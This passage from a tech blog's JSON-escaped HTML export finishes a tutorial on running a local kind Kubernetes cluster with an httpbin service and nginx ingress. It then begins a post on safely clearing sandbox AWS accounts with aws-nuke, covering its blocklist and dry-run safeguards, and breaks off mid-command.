style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e targetPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e replicas\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matchLabels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e template\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e metadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e spec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e imagePullPolicy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least. So apply those manifests:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e httpbin.yml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see two pods come up. You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NOMINATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READINESS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 48s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.3.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 72s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.1.2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e port-forward\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e service/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 9000:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:9000\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost:9000/get\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"args\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"headers\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Accept\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e annotations\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e nginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ingressClassName\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e rules\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pathType\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e backend\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few critical options here. The first is the annotation to rewrite\nthe path so it does not include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment! You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-21T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"},{"id":["2023","nuking_aws_account"],"path":"2023/nuking_aws_account","contentHtml":"\u003cp\u003eWhen you are an SRE/DevOps engineer you will end up making AWS accounts and\ncreate a lot of cruft in your sandbox and development accounts. AWS\ndoes not make it easy to clear these up but there is a tool called\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003eaws-nuke\u003c/a\u003e that will do it for you!\u003c/p\u003e\n\u003ch1\u003eSafe Guards\u003c/h1\u003e\n\u003cp\u003eaws-nuke has a few safeguards in place to prevent inadvertent data loss.\nThe first of which is it requires you to alias the targeted account. I\nlike to put \u003ccode\u003enuke\u003c/code\u003e in the alias to make it clear.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e iam\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create-account-alias\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --account-alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eaccoun\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003et\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe second safe-guard is the config takes a key called \u003ccode\u003eaccount-blocklist\u003c/code\u003e\nthat will guarantee nuke will not run against it no matter what.\u003c/p\u003e\n\u003cp\u003eThe final safety switch it has is it will not take any action by default,\nit will only execute a dry-run. You need to run the CLI with\n\u003ccode\u003e--no-dry-run\u003c/code\u003e if you want it to take action.\u003c/p\u003e\n\u003ch1\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eYou configure \u003ccode\u003eaws-nuke\u003c/code\u003e with YAML, so the first step is to define that:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eregions:\n - us-east-1\n - global\n\naccount-blocklist:\n - \"888888888888\" # production\n\naccounts:\n \"777777777777\": {} # nuke-\u0026#x3C;account\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis will prevent us from nuking our production account and target all resources\nin the account we actually want to nuke.\u003c/p\u003e\n\u003cp\u003eYou might want to have it nuke \u003cem\u003eALL REGIONS\u003c/em\u003e in AWS since you may not know which\nregions resources are deployed in. To do this you can query the regions from AWS:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ec2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe-regions\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --all-regions\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --query\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Regions[*].RegionName\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 